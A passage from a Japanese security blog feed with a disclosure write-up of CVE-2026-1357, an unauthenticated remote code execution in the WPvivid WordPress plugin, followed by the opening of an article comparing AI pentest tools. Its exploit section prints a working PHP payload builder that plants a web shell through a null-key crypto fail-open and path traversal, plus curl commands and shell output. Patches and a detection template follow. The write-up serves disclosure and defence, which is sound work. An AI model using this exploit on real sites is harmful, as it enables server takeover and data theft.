&lt;p&gt;このプラグインは&lt;strong&gt;phpseclib v1&lt;/strong&gt;を使用しています。このバージョンでは、&lt;code&gt;setKey(FALSE)&lt;/code&gt;は値を空文字列として扱い、それが16バイトのnull鍵&lt;code&gt;\x00\x00\x00...\x00&lt;/code&gt;にパディングされます。この鍵は固定で、既知であり、すべてのインストール環境で同一です。この null鍵を使って事前にペイロードを暗号化した攻撃者であれば、誰でもプラグインにそれを正しく復号させることができ、認証は完全にバイパスされます。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;暗号処理のフェイルオープン（CWE-755）：&lt;/strong&gt;復号結果に対する検証が欠けているため、関数は処理を中止せず既知のnull鍵へフォールバックしてしまいます。攻撃者は不正なRSA鍵を渡して失敗を誘発し、そのうえでnull鍵で暗号化済みのペイロードを送信します。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr/&gt;
&lt;h2 id="3. 意図的に迷い込む:wpvividのsend to site機能におけるパストラバーサル"&gt;3. &lt;strong&gt;意図的に迷い込む：WPvividのSend to Site機能におけるパストラバーサル&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;2つ目の不備は&lt;code&gt;includes/customclass/class-wpvivid-send-to-site.php&lt;/code&gt;にあります。（すでにバイパスされた）復号ステップの後、プラグインはJSONペイロードからファイル名を読み取り、それを使ってファイルパスを構築します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;// class-wpvivid-send-to-site.php  (v0.9.123)&lt;/span&gt;
&lt;span class="x"&gt;public function send_to_site() {&lt;/span&gt;
&lt;span class="x"&gt;    $params    = json_decode($data, 1);&lt;/span&gt;
&lt;span class="x"&gt;    $dir       = WPvivid_Setting::get_backupdir();&lt;/span&gt;

&lt;span class="x"&gt;    // No sanitization of $params['name']&lt;/span&gt;
&lt;span class="x"&gt;    $file_path = WP_CONTENT_DIR . DIRECTORY_SEPARATOR . $dir . DIRECTORY_SEPARATOR&lt;/span&gt;
&lt;span class="x"&gt;               . str_replace('wpvivid', 'wpvivid_temp', $params['name']);&lt;/span&gt;

&lt;span class="x"&gt;    fwrite($handle, base64_decode($params['data']));&lt;/span&gt;
&lt;span class="x"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;basename()&lt;/code&gt;もありません。拡張子チェックもありません。&lt;code&gt;$params['name']&lt;/code&gt;の値がそのままパスに入ります。これを&lt;code&gt;"../uploads/shell.php"&lt;/code&gt;に設定すると&lt;code&gt;/wp-content/uploads/shell.php&lt;/code&gt;に解決されます。ここは公開されており、PHPが実行可能なディレクトリです。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;パストラバーサル（CWE-22）：&lt;/strong&gt;ユーザーが指定したファイル名が、サニタイズを経ずにファイルシステムへ到達します。不備その1と組み合わせることで、認証不要のリクエストで、Webルートから到達可能な任意の場所に任意のファイル内容を書き込めます。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr/&gt;
&lt;h2 id="4. 組み合わせる:cve-2026-1357を悪用してリモートコード実行を行う"&gt;4. &lt;strong&gt;組み合わせる：CVE-2026-1357を悪用してリモートコード実行を行う&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;悪用は2つのステップで進みます。ペイロードを生成し、リクエストを送信するのです。&lt;/p&gt;
&lt;h3 id="ステップ1:ペイロードの生成"&gt;ステップ1：ペイロードの生成&lt;/h3&gt;
&lt;p&gt;このエクスプロイトは、phpseclib v1のnull鍵の挙動を再現します。PHPのWebシェルを&lt;code&gt;\x00&amp;times;16&lt;/code&gt;でAES暗号化し、トラバーサル用のファイル名とともにJSONでラップし、フェイルオープンを誘発するために不正なRSA鍵を先頭に付加します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;  &lt;span class="c1"&gt;// exploit.php&lt;/span&gt;
&lt;span class="k"&gt;require_once&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="no"&gt;__DIR__&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;'/phpseclib/Crypt/Rijndael.php'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nv"&gt;$rijndael&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;Crypt_Rijndael&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nv"&gt;$rijndael&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;setBlockLength&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;128&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$rijndael&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;setKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;str_repeat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\0&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;  &lt;span class="c1"&gt;// 16-byte null key&lt;/span&gt;

&lt;span class="nv"&gt;$shell&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'&amp;lt;?php system($_GET["cmd"]); ?&amp;gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nv"&gt;$payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="s1"&gt;'name'&lt;/span&gt;   &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'../uploads/pwn_shell.php'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="c1"&gt;// path traversal&lt;/span&gt;
    &lt;span class="s1"&gt;'data'&lt;/span&gt;   &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;base64_encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$shell&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="s1"&gt;'offset'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'index'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'type'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'backup'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'status'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'running'&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="nv"&gt;$enc&lt;/span&gt;      &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$rijndael&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;encrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;json_encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$payload&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="nv"&gt;$fake_rsa&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'ABC'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  &lt;span class="c1"&gt;// any garbage triggers the fail-open&lt;/span&gt;

&lt;span class="nv"&gt;$packet&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;str_pad&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;dechex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;strlen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$fake_rsa&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'0'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;STR_PAD_LEFT&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$fake_rsa&lt;/span&gt;
        &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="nb"&gt;str_pad&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;dechex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;strlen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$enc&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'0'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;STR_PAD_LEFT&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$enc&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nb"&gt;base64_encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$packet&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="ステップ2:リクエストの送信"&gt;ステップ2：リクエストの送信&lt;/h3&gt;
&lt;p&gt;ペイロードは、プレーンなPOSTでWordPressのルートエンドポイントに送られます。認証情報もセッションも、事前のセットアップも不要です。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;PAYLOAD&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;php&lt;span class="w"&gt; &lt;/span&gt;exploit.php&lt;span class="k"&gt;)&lt;/span&gt;
&lt;span class="nv"&gt;ENCODED&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;python3&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"import urllib.parse; print(urllib.parse.quote('&lt;/span&gt;&lt;span class="nv"&gt;$PAYLOAD&lt;/span&gt;&lt;span class="s2"&gt;', safe=''))"&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;

curl&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;-X&lt;span class="w"&gt; &lt;/span&gt;POST&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"http://209.38.255.159:8090/"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-d&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"wpvivid_action=send_to_site"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-d&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"wpvivid_content=&lt;/span&gt;&lt;span class="nv"&gt;$ENCODED&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;レスポンス：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;HTTP/&lt;/span&gt;&lt;span class="mf"&gt;1.1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;OK&lt;/span&gt;
&lt;span class="err"&gt;Da&lt;/span&gt;&lt;span class="kc"&gt;te&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Tue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Feb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2026&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;38&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;GMT&lt;/span&gt;
&lt;span class="err"&gt;Server&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Apache/&lt;/span&gt;&lt;span class="mf"&gt;2.4.66&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;(Debia&lt;/span&gt;&lt;span class="kc"&gt;n&lt;/span&gt;&lt;span class="err"&gt;)&lt;/span&gt;
&lt;span class="err"&gt;X&lt;/span&gt;&lt;span class="mi"&gt;-&lt;/span&gt;&lt;span class="err"&gt;Powered&lt;/span&gt;&lt;span class="mi"&gt;-&lt;/span&gt;&lt;span class="err"&gt;By&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;PHP/&lt;/span&gt;&lt;span class="mf"&gt;8.3.30&lt;/span&gt;
&lt;span class="err"&gt;Co&lt;/span&gt;&lt;span class="kc"&gt;ntent&lt;/span&gt;&lt;span class="mi"&gt;-&lt;/span&gt;&lt;span class="err"&gt;Le&lt;/span&gt;&lt;span class="kc"&gt;n&lt;/span&gt;&lt;span class="err"&gt;g&lt;/span&gt;&lt;span class="kc"&gt;t&lt;/span&gt;&lt;span class="err"&gt;h&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;36&lt;/span&gt;

&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nt"&gt;"result"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"success"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;"op"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"finished"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;シェルがディスク上に置かれました。それを呼び出します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;curl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"http://209.38.255.159:8090/wp-content/uploads/pwn_shell.php?cmd=whoami"&lt;/span&gt;

www-data
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="5. 概念実証:wpvivid rceエクスプロイトの手順と影響分析"&gt;5. &lt;strong&gt;概念実証：WPvivid RCEエクスプロイトの手順と影響分析&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;対象はWPvivid v0.9.123を実行しており、0.9.124のアップデートは提供済みでしたが未適用でした。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="WPvivid v0.9.123がインストールされ、0.9.124へのアップデートが保留中であることを示すWordPress管理画面" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_02_17_cve_2026_1357/wpvivid-admin-version.png" title="WPvivid v0.9.123、アップデート保留中"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;WPvivid v0.9.123、アップデート保留中&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;悪用の後、アップロードされたWebシェルは、Webサーバープロセスとして任意のコマンドに応答します。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="アップロードされたシェルを通じて/etc/passwdが返され、RCEが確認された様子" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_02_17_cve_2026_1357/rce-confirmed-etcpasswd.png" title="アップロードされたWebシェルによるRCEの確認"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;アップロードされたWebシェルによるRCEの確認&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;影響：&lt;/strong&gt;&lt;code&gt;www-data&lt;/code&gt;のアクセス権を得た攻撃者は、&lt;code&gt;wp-config.php&lt;/code&gt;を読み取ってデータベースの認証情報を入手し、サイトの全データを窃取し、永続的なバックドアを設置し、あるいはサーバー構成によってはさらに横展開することができます。この時点からWordPressインストール全体を完全に侵害するのは造作もありません。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr/&gt;
&lt;h2 id="6. 修正:wpvividプラグインのセキュリティ上の不備cve-2026-1357へのパッチ適用"&gt;6. &lt;strong&gt;修正：WPvividプラグインのセキュリティ上の不備CVE-2026-1357へのパッチ適用&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;バージョン0.9.124は、両方の不備をそれぞれ独立して修正します。どちらか一方の修正だけでもエクスプロイトチェーンは成立しなくなります。&lt;/p&gt;
&lt;h3 id="修正1:復号結果を検証する"&gt;修正1：復号結果を検証する&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;$rsa-&amp;gt;decrypt()&lt;/code&gt;の後に一つチェックを加えるだけで、フェイルオープンがフェイルクローズに変わります。復号がfalseまたは空の鍵を返した場合、関数は処理を中止します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;// class-wpvivid-crypt.php  (v0.9.124)&lt;/span&gt;
&lt;span class="x"&gt;$key = $rsa-&amp;gt;decrypt($key);&lt;/span&gt;

&lt;span class="x"&gt;if ($key === false || empty($key)) {&lt;/span&gt;
&lt;span class="x"&gt;    return false;  // fail-closed&lt;/span&gt;
&lt;span class="x"&gt;}&lt;/span&gt;

&lt;span class="x"&gt;$rij-&amp;gt;setKey($key);&lt;/span&gt;
&lt;span class="x"&gt;return $rij-&amp;gt;decrypt($data);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="修正2:ファイル名をサニタイズし、拡張子のホワイトリストを強制する"&gt;修正2：ファイル名をサニタイズし、拡張子のホワイトリストを強制する&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;basename()&lt;/code&gt;はディレクトリトラバーサルのシーケンスを取り除きます。正規表現で許可される文字を制限します。明示的な拡張子ホワイトリストにより、実行可能なものはすべてブロックされます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;// class-wpvivid-send-to-site.php  (v0.9.124)&lt;/span&gt;
&lt;span class="x"&gt;$safe_name = basename($params['name']);&lt;/span&gt;
&lt;span class="x"&gt;$safe_name = preg_replace('/[^a-zA-Z0-9._-]/', '', $safe_name);&lt;/span&gt;

&lt;span class="x"&gt;$allowed = ['zip', 'gz', 'tar', 'sql'];&lt;/span&gt;
&lt;span class="x"&gt;$ext     = strtolower(pathinfo($safe_name, PATHINFO_EXTENSION));&lt;/span&gt;

&lt;span class="x"&gt;if (!in_array($ext, $allowed, true)) {&lt;/span&gt;
&lt;span class="x"&gt;    $ret['error'] = 'Invalid file type.';&lt;/span&gt;
&lt;span class="x"&gt;    echo wp_json_encode($ret);&lt;/span&gt;
&lt;span class="x"&gt;    die();&lt;/span&gt;
&lt;span class="x"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="7. ostorlab kevによるcve-2026-1357の検出"&gt;7. &lt;strong&gt;Ostorlab KEVによるCVE-2026-1357の検出&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;CVE-2026-1357は、Ostorlabの&lt;strong&gt;Known Exploited Vulnerabilities（KEV）&lt;/strong&gt;検出スイートで対象になりました。このスイートは、公開されているポートや露出しているサービスを対象に自動スキャンを実行し、既知の悪用された脆弱性を大規模に特定します。Nmap、Tsunami、Asteroid、Nuclei、Metasploitといったツールを単一のエージェントグループのもとで組み合わせています。&lt;/p&gt;
&lt;h3 id="nucleiテンプレート"&gt;Nucleiテンプレート&lt;/h3&gt;
&lt;p&gt;このCVE向けに検証済みのNucleiテンプレートが作成され、KEVリポジトリに追加されました。これは、omarkurt、およびこの脆弱性の発見者であるLucas Montes（NiRoX）の共同執筆によるものです。テンプレートは、対象に対して3つのリクエストを実行します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;プラグインの&lt;code&gt;readme.txt&lt;/code&gt;へのGET。WPvividがインストールされていることを確認し、バージョン番号を抽出します。&lt;/li&gt;
&lt;li&gt;ルートエンドポイントへのPOST。事前に構築したエクスプロイトペイロードを送り、フェイルオープンを誘発してパストラバーサルによりシェルを書き込みます。&lt;/li&gt;
&lt;li&gt;アップロードされたシェルへのGET。実行を確認します。検出には3つすべてが一致する必要があります。すなわち、プラグインが存在すること、アップロードが成功すること、そしてシェルが応答することです。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;このテンプレートは&lt;code&gt;verified: true&lt;/code&gt;とタグ付けされ、&lt;strong&gt;intrusive&lt;/strong&gt;（侵襲的）と記されています。単にフィンガープリントを取るだけでなく、脆弱性を確認するために対象を実際に悪用します。CISAやより広範な脅威インテリジェンスコミュニティが追跡するクリティカルなCVEを対象とする200以上の他のテンプレートとともに、KEVエージェントグループに含まれています。&lt;/p&gt;
&lt;p&gt;テンプレートの全文は、Ostorlab KEVリポジトリの以下で入手できます。
&lt;a href="https://raw.githubusercontent.com/Ostorlab/known_exploited_vulnerbilities_detectors/main/nuclei/CVE-2026-1357.yaml"&gt;github.com/Ostorlab/KEV/blob/main/nuclei/CVE-2026-1357.yaml&lt;/a&gt;&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="まとめ"&gt;まとめ&lt;/h2&gt;
&lt;p&gt;CVE-2026-1357は、個別には封じ込め可能な2つのバグが連鎖して、クリティカルな重大度評価に至る典型的な例です。暗号処理のフェイルオープンが認証を無効化し、パストラバーサルがWebルートへの任意書き込みアクセスを与えます。どちらの不備も特殊なものではありません。&lt;/p&gt;
&lt;p&gt;防御側の教訓も同じく明快です。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;暗号処理の戻り値は、鍵として使用する前に必ず検証すること。&lt;/li&gt;
&lt;li&gt;ユーザーが指定した入力を、ファイルシステムのパスに直接使わないこと。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;basename()&lt;/code&gt;と拡張子ホワイトリストは、ファイルアップロード処理における標準的な実践であること。&lt;/li&gt;
&lt;li&gt;多層防御：両方のレイヤーにパッチを当て、どちらか一方のバイパスだけでは不十分な状態にすること。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="参考文献"&gt;参考文献&lt;/h2&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;リソース&lt;/th&gt;
&lt;th style="text-align: left;"&gt;リンク&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;NVD&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2026-1357"&gt;https://nvd.nist.gov/vuln/detail/CVE-2026-1357&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Wordfence&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://www.wordfence.com/threat-intel/vulnerabilities/id/e5af0317-ef46-4744-9752-74ce228b5f37"&gt;https://www.wordfence.com/threat-intel/vulnerabilities/id/e5af0317-ef46-4744-9752-74ce228b5f37&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;PoC&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://github.com/LucasM0ntes/POC-CVE-2026-1357"&gt;https://github.com/LucasM0ntes/POC-CVE-2026-1357&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Plugin&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://wordpress.org/plugins/wpvivid-backuprestore/"&gt;https://wordpress.org/plugins/wpvivid-backuprestore/&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</content><category term="Security"/><category term="security"/><category term="CVE"/><category term="wordpress"/><category term="RCE"/><category term="vulnerability"/><category term="cve-news"/></entry><entry><title>オープンソースのAIペンテストツール9選を比較（2026年）</title><link href="https://blog.ostorlab.co/ja/9-open-source-ai-pentest-tools-2026.html" rel="alternate"/><published>2026-01-30T08:20:00+01:00</published><updated>2026-10-06T09:00:00+02:00</updated><author><name>Youssef Mabrouk</name></author><id>tag:blog.ostorlab.co,2026-01-30:/ja/9-open-source-ai-pentest-tools-2026.html</id><summary type="html">&lt;p&gt;PentestGPT、PentAGI、HexStrike AI、Strix、CAI、Nebula、NeuroSploit、Deadend CLI、RedAmonを比較し、各AIペンテストエージェントの主な機能、GitHubのスター数、ライセンスを紹介します。&lt;/p&gt;</summary><content type="html">&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;要点&lt;/strong&gt;&lt;br/&gt;
銀行アプリvulnbankを対象とした当社の実地テストでは、&lt;strong&gt;Strix&lt;/strong&gt;と&lt;strong&gt;RedAmon&lt;/strong&gt;が最も優れた結果を出しました。最も深くまで到達したのはRedAmonで、サーバーサイドの欠陥を連鎖させてアプリの完全な管理者権限を獲得しました。&lt;strong&gt;CAI&lt;/strong&gt;もクリティカルな脆弱性を検出しましたが、その後アーカイブされています。PentestGPTとDeadend CLIは、設定したモデルではなくOpenAIを使い続け、PentAGIはセットアップが複雑で実行できず、NeuroSploitは起動に失敗しました。HexStrike AIを動かすにはClaudeやGPTなどの別のAIモデルが必要であり、Nebulaは単独でテストを行うのではなく、人間のテスターを支援するツールです。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;自動スキャナーは、既知の問題を高速かつ確実に検出します。しかし、アプリが実際にどのように振る舞うかを把握すること、複数の弱点を連鎖させて一つの攻撃にまとめること、人間のようにテストの途中でアプローチを調整することはできません。&lt;/p&gt;
&lt;p&gt;この隙間を埋めるために作られたのが、新しい世代の&lt;strong&gt;オープンソースAIペンテストツール&lt;/strong&gt;です。これらのツールは大規模言語モデル（LLM）を使ってアプリケーションを探索し、次に何を攻撃するかを判断し、進めながら調整していきます。&lt;/p&gt;
&lt;p&gt;ただし、&lt;strong&gt;AIペンテストツール&lt;/strong&gt;という言葉が指すものは大きく異なります。&lt;strong&gt;完全自律型のエージェント&lt;/strong&gt;もあれば、ClaudeやGPTなどの別のモデルから操作されて初めて機能する&lt;strong&gt;バックエンド&lt;/strong&gt;もあり、単独のツールではなく&lt;strong&gt;人間のテスターを支援するアシスタント&lt;/strong&gt;もあります。&lt;/p&gt;
&lt;p&gt;ドキュメントだけではツールの実力はほとんど分からないため、当社は各ツールを&lt;strong&gt;実際に動かして&lt;/strong&gt;評価しました。9つすべてをインストールし、同じ脆弱なアプリケーションであるvulnbank.orgに対して実行しました（RedAmonはローカルにホストしたそのコピーに対して実行）。本記事では各ツールについて、何ができるのか、GitHub上のプロジェクトの状況、そしてテストで得られた結果を紹介します。&lt;/p&gt;
&lt;h2 id="この比較について"&gt;この比較について&lt;/h2&gt;
